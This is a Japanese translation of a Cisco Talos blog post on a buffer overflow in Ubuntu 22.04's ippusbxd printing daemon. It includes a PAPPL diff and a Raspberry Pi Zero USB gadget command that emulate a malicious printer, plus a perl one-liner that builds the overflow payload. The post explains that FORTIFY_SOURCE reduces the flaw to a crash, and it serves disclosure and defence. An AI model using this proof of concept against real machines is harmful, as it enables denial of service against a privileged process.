Cisco Japan Blog

最新のコンパイラにささやかな賞賛を – 実は脆弱ではなかった Ubuntu の印刷機能

3 min read



投稿者:Aleksandar Nikolich

Cisco Talos は今年の初めに macOS の印刷サブシステムのコード監査を行いました。このシステムは主に、オープンソースの CUPS パッケージに基づいています。この調査で注目したのが、IPP-USB プロトコルです。IPP over USB の仕様は、USB 接続のプリンタが、Internet Printing Protocol(IPP)経由でのネットワーク印刷のみをサポートする方法を定義しています。macOS での調査を終えた後、同じ機能が他のオペレーティングシステムではどのように扱われているかを調べることにしました。

対象とした Linux システムでは、長期サポート版(LTS)リリースである Ubuntu 22.04 が稼働しており、「ippusbxd」パッケージを使用して IPP-USB を処理していました。このパッケージは印刷ツールである OpenPrinting スイートの一部であり、さまざまなコンポーネントpopup_iconで重大度の高い脆弱性が複数見つかったために、最近は監視の目が厳しくなっていました。これらの問題が報じられたことで、OpenPrinting スイートの保守管理者には過度なストレスがかかっています。これから説明する潜在的な脆弱性は非常に現実的なものではありますが、緩和策を有効にしていれば、それほど深刻ではありません。この脆弱性は最新のコンパイラ機能によって検出され、エクスプロイト対策ができます。今回は、このまれに見る、コンパイラ機能による緩和策の成功例を取り上げています。さらに言えば、「ippusbxd」パッケージはより安全な「ipp-usb」ソリューションに置き換えられており、この脆弱性が悪用される可能性は低くなっています。

脆弱性の発見

Ubuntu 系の Linux システムでは、新しい USB プリンタが接続されると、UDEV サブシステムが IPP-USB ハンドラを呼び出して IPP-USB 機能を有効にします。Ubuntu 22.04 でこれを行うのが「ippusbxd」デーモンであり、プリンタとの通信を処理して DNS-SD 経由でネットワークに通知し、ネットワーク印刷を可能にします。これは関心を引く攻撃対象領域になる可能性があるので、詳しく調べることにしました。

コードベースに精通するために最初に行うのは、自分でビルドしてみることです。すると、ビルド中に次のメッセージが表示されました。

In file included from /usr/include/string.h:495,

from ippusbxd-1.34/src/capabilities.c:9:

In function ‘strncpy’,

inlined from ‘get_format_paper’ at ippusbxd-1.34/src/capabilities.c:205:9:

/usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin___strncpy_chk’

specified bound depends on the length of the source argument [-Wstringop-overflow=]

106 |   return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));

|          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ippusbxd-1.34/src/capabilities.c: In function ‘get_format_paper’:

ippusbxd-1.34/src/capabilities.c:204:13: note: length computed here

204 |         a = strlen(val) – strlen(tmp);

|             ^~~~~~~~~~~

In file included from /usr/include/string.h:495,

from ippusbxd-1.34/src/capabilities.c:9:

上記は「-Wstringop-overflow」で有効化されたコンパイラの警告です。「-Wstringop-overflow」は、コンパイル中に軽量な静的コード分析を行う機能であり、一般的なメモリ破壊の問題を検出します。この場合は、強調表示されているコードに潜在的な脆弱性が存在することをコンパイラが知らせています。コンパイラによる分析を見ると、「strncpy」呼び出しに対する長さ引数が、宛先オペランドではなくソースオペランドの長さに基づいていると判断されています。これは、「strcpy」関数ファミリに関わるスタックベースのバッファオーバーフローの典型例です。

これが真陽性の検出であることを確かめるために、コードのコンテキストを調べました。

char test1[255] = { 0 };

char test2[255] = { 0 };

char *tmp = strchr(val, '=');

if (!tmp) continue;

a = strlen(val) - strlen(tmp);

val+=(a + 1);

tmp = strchr(val, ' ');

if (!tmp) continue;

a = strlen(val) - strlen(tmp);

strncpy(test2, val, a);

上に抜粋したコードは、プリンタが対応している用紙サイズを解析しようとしている部分です。ここでは、次のような入力が想定されていると考えられます。

{ x-dimension=1234 y-dimension=1234 }

strlen」の呼び出しは、入力される数値の長さを計算するために使用されます。確かに、「y-dimension」で指定される値が、バッファが保持できる長さを超えると、このコードは容易にバッファオーバーフローを引き起こす可能性があります。

そこで、問題を生じさせるコードがどのように使用されているかを調べてみると、プリンタの初期化中、プリンタの機能を問い合わせている間だけ使用されることがわかりました。

int

ipp_request(ippPrinter *printer, int port)

{

http_t    *http = NULL;

ipp_t *request, *response = NULL;

ipp_attribute_t *attr;

char uri[1024];

char buffer[1024];

/* Try to connect to IPP server */

if ((http = httpConnect2("127.0.0.1", port, NULL, AF_UNSPEC,

HTTP_ENCRYPTION_IF_REQUESTED, 1, 30000, NULL)) == NULL) {

printf("Unable to connect to 127.0.0.1 on port %d.\n", port);

return 1;

}

snprintf(uri, sizeof(uri), "http://127.0.0.1:%d/ipp/print", port);

/* Fire a Get-Printer-Attributes request */

request = ippNewRequest(IPP_OP_GET_PRINTER_ATTRIBUTES);

ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri",

NULL, uri);

response = cupsDoRequest(http, request, "/ipp/print");

言い換えると、この脆弱性がトリガーされるのは、マシンの USB ポートに接続されているプリンタが異常に大きい用紙サイズに対応していることを報告した場合です。

コンパイラの警告は正しく、確かにこれは脆弱性とみなされます。ロックされたラップトップに対してエクスプロイトが仕掛けられた場合、高い権限を持つプロセス内で任意のコードが実行される恐れがあります。

コンセプト実証の開発

この脆弱性の存在と重大度を証明するためには、コンセプト実証(PoC)のエクスプロイトを開発する必要があります。技術的に言うと、この脆弱性をトリガーするには、不正なプリンタを USB ポートに物理的に接続しなければならないので、いくつかやることがあります。

これを実装する明確な方法の 1 つが、Linux の USB Gadget API を使用することです。Linux の USB Gadget API を使用すれば、開発者はソフトウェア定義型のカスタムの USB デバイス(ガジェット)を作成できます。これにより、仮想デバイスに対してデバイスのエミュレーション、インターフェイス管理、通信プロトコル処理が可能になります。このシナリオでは、組み込みの Linux システムが USB ホストの代わりに USB デバイスとして動作し、必要な機能をエミュレートします。イーサネット ネットワーク インターフェイスや大容量ストレージデバイスをエミュレートするガジェットドライバはすべての Linux システムですぐに利用することができ、小型のシングルボードコンピュータをこの目的に使用できます。その中でも、Raspberry Pi Zero はすべての要件を満たしています。

USB プリンタの完全なエミュレーションの実装にはかなりの労力を要しますが、PAPPL(OpenPrinting 関連のプロジェクト)でフル機能のプリンタガジェットがすでに実装されており、これを簡単に転用できます。エミュレートされたプリンタが不正な用紙サイズを報告するようにするには、ソースコードを少しだけ変更する必要があります。

diff --git a/pappl/printer-driver.c b/pappl/printer-driver.c

index 10b7fda..b872865 100644

--- a/pappl/printer-driver.c

+++ b/pappl/printer-driver.c

@@ -747,6 +747,7 @@ make_attrs(

ippDelete(cvalues[i]);

}

+  ippAddString(attrs, IPP_TAG_PRINTER, IPP_CONST_TAG(IPP_TAG_KEYWORD), "media-size-supported",  NULL, getenv("EXPLOIT_STRING"));                      [5]

// media-col-supported

memcpy((void *)svalues, media_col, sizeof(media_col));

diff --git a/testsuite/testpappl.c b/testsuite/testpappl.c

index 460058d..7972cb6 100644

--- a/testsuite/testpappl.c

+++ b/testsuite/testpappl.c

@@ -812,7 +812,7 @@ main(int  argc,                             // I - Number of command-line arguments

}

else

{

-      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;", device_uri);

+      printer = papplPrinterCreate(system, /* printer_id */0, "Office Printer", "pwg_common-300dpi-600dpi-srgb_8", "MFG:PWG;MDL:Office Printer;CMD:pwg;", device_uri);         [4]

papplPrinterSetContact(printer, &contact);

papplPrinterSetDNSSDName(printer, "Office Printer");

papplPrinterSetGeoLocation(printer, "geo:46.4707,-80.9961");

上記のコードでは、エミュレートされたプリンタに対し、「EXPLOIT_STRING」環境変数の内容を「media-size-supported」ペイロードとして使用するように指示しています。

このトリガーをセットアップするために、まずは「EXPLOIT_STRING」にバッファオーバーフローのペイロードを設定します。

export EXPLOIT_STRING=`perl -e 'print "{x=a y=" . "A"x600 . " }"'`

上記のコードにより、「y」の値が 600 個の A の文字であることが報告されます。これは、スタックバッファをオーバーフローさせ、クラッシュを引き起こすのに十分な長さです。

次に、Raspberry Pi Zero デバイス上で以下のコマンドを実行します。

testsuite/testpappl -U -c -1 -L debug -l - --usb-vendor-id 0xeaea --usb-product-id 0xeaea

このコマンドは、PAPPL スイートのユーティリティを使用して、エミュレートされた USB プリンタデバイスをセットアップします。このデバイスを標的のマシンに USB で接続すると、バッファオーバーフローのペイロードが送信されます。

次に行う手順は、単に Raspberry Pi Zero デバイスを標的のマシンに接続し、影響を観察することです。

[520463.829183] usb 3-1: new high-speed USB device number 85 using xhci_hcd

[520463.977791] usb 3-1: New USB device found, idVendor=eaea, idProduct=eaea, bcdDevice= 4.19

[520463.977800] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3

[520463.977804] usb 3-1: Product: Office Printer

[520463.977807] usb 3-1: Manufacturer: PWG

[520463.977809] usb 3-1: SerialNumber: 0

[520463.979354] usblp 3-1:1.0: usblp0: USB Bidirectional printer dev 85 if 0 alt 0 proto 2 vid 0xEAEA pid 0xEAEA

[520464.014666] usblp0: removed

[520464.020827] ippusbxd[647107]: segfault at 0 ip 00007f9886cd791d sp 00007ffe5965e558 error 4 in libc.so.6[7f9886b55000+195000]

[520464.020839] Code: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 23 01 00 00 <c5> fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 e9 2c 01 00 00 66

上記のデバッグログを見ると、「ippusbxd」デーモンでセグメンテーションフォルトが発生したことがわかります。これは想定通りの結果であり、脆弱性のトリガーに成功したことを意味します。

FORTIFY_SOURCE

ところが、バイナリとクラッシュを詳しく調べてみると、次のようになっています。

<-195299776>Note: TCP: sent 1833 bytes

<-228919744>Note: Thread #2: No read in flight, starting a new one

*** buffer overflow detected ***: terminated

Thread 4 "ippusbxd" received signal SIGABRT, Aborted.

[Switching to Thread 0x7ffff3dbe640 (LWP 649455)]

__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44

44      ./nptl/pthread_kill.c: No such file or directory.

(gdb) bt

#0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:44

#1  __pthread_kill_internal (signo=6, threadid=140737284662848) at ./nptl/pthread_kill.c:78

#2  __GI___pthread_kill (threadid=140737284662848, signo=signo@entry=6) at ./nptl/pthread_kill.c:89

#3  0x00007ffff7aea476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26

#4  0x00007ffff7ad07f3 in __GI_abort () at ./stdlib/abort.c:79

#5  0x00007ffff7b31676 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c8392e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155

#6  0x00007ffff7bde3aa in __GI___fortify_fail (msg=msg@entry=0x7ffff7c838d4 "buffer overflow detected") at ./debug/fortify_fail.c:26

#7  0x00007ffff7bdcd26 in __GI___chk_fail () at ./debug/chk_fail.c:28

#8  0x00007ffff7bdc769 in __strncpy_chk (s1=s1@entry=0x7ffff3dbd090 "", s2=s2@entry=0x7ffff3dbd5f7 'A' <repeats 200 times>..., n=n@entry=601, s1len=s1len@entry=255) at ./debug/strncpy_chk.c:26

#9  0x000055555555f502 in strncpy (__len=601, __src=0x7ffff3dbd5f7 'A' <repeats 200 times>..., __dest=0x7ffff3dbd090 "") at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:95

#10 get_format_paper (val=0x7ffff3dbd5f7 'A' <repeats 200 times>..., val@entry=0x7ffff3dbd5f0 "{x=a y=", 'A' <repeats 193 times>...) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:220

#11 0x000055555555fa62 in ipp_request (printer=printer@entry=0x7fffec000b70, port=<optimized out>) at ./ippusbxd_testing/ippusbxd-1.34/src/capabilities.c:297

#12 0x000055555555d07c in dnssd_escl_register (data=0x5555555a77e0) at ./ippusbxd_testing/ippusbxd-1.34/src/dnssd.c:226

#13 0x00007ffff7b3cac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442

#14 0x00007ffff7bce660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81

クラッシュが発生した直接の原因は、スタックの内容を上書きしてメモリ破壊を引き起こすバッファオーバーフローではありませんでした。また、スタック破壊保護対策(SSP:Stack Smashing Protection、特定の条件下で回避されることがある確率論的緩和策)が原因でもありませんでした。このケースでは、バッファオーバーフローの状態が検出され、実際にバッファがオーバーフローする前にプログラムが明示的に終了したことによってクラッシュが引き起こされました。この検出は「FORTIFY_SOURCE」というコンパイラ機能によるもので、エラーを起こしやすい一般的な関数が、より安全なバージョンに自動的に置き換えられるようになっています。つまり、この脆弱性は大幅に緩和されており、クラッシュを引き起こす以外の目的で悪用することはできません。

まとめ

ソフトウェアのあらゆる欠陥、脆弱性、緩和策の回避についてはよく耳にしますが、今回はその逆の事例であり、この機会に強調しておくべきだと思いました。この事例では、最新のコンパイラ機能(-Wstringop-overflow による静的分析と FORTIFY_SOURCE による強力な緩和策)が脆弱性のエクスプロイトを防いでいました。これらの機能は常にデフォルトで有効にしておくべきです。また、コンパイラが警告を表示したとしても、実際に確認しなければ役に立たないことに留意する必要があります。

今回のケースは、脆弱性がたとえ広範囲にエクスプロイト可能であっても、その影響は小さいものでしょう。「ippusbxd」パッケージの開発は終わっており、「ipp-usb」パッケージを使用した、より優れた実装に置き換えられています。「ipp-usb」パッケージはメモリセーフ言語で実装されていて、この種の問題がそもそも発生しないようになっています。開発者は、「ippusbxd」が「ipp-usb」に置き換えられており、保守もされておらず、どのオペレーティングシステムでも使われていないとすぐに指摘します。その例外が、長期サポート版である Ubuntu 22.04 です。新しいバージョンでは、「ipp-usb」を使用するように切り替わっています。

 

本稿は 2025 年 2 月 10 日にTalos Grouppopup_icon のブログに投稿された「Small praise for modern compilers – A case of Ubuntu printing vulnerability that wasn’tpopup_icon」の抄訳です。


				
				
				
				
								
				
				
コメントを書く